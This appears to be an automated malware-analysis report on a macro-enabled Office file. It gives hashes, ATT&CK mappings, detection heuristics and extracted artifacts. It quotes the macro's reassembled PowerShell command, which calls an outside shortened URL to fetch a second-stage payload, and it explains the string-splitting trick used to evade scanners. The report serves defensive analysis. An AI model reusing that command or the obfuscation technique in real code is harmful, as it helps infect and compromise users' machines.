Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d1094bf7440cbb81…

MALICIOUS

Office (OOXML)

10.5 KB
MD5: 932e2490cefa0c0aa20f769147072341 SHA-1: ee2c16c0543e023d3618035260ad46d34f564a7a SHA-256: d1094bf7440cbb81e74ff4570bf51cb3e3a397f8bebabd51a0e93c8f4a01e077
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine that is triggered upon opening the document. This macro reconstructs and executes a PowerShell command. The command is constructed from split string literals, specifically 'powershell.exe -c "cmd msgsbox/rmsta https://www.bitly.com/teyiuwqbdmnasvdmasvdnasksjd"'. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL using PowerShell. The use of obfuscation techniques like string splitting and the execution of an external process via ShellExecuteA are common in malware.

Heuristics 4

  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
83f0aa7166f3de122a718b0bde2df6871b333e5ca23a4fd05ae2deabdd289571		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2401 bytes
vbaProject_00.bin
6ae3a8c5c3e160c6018e5fbd2febca64f48cc0c431d00d247af0d72a1cf63a0a		 vba-project OOXML VBA project: ppt/vbaProject.bin 23040 bytes

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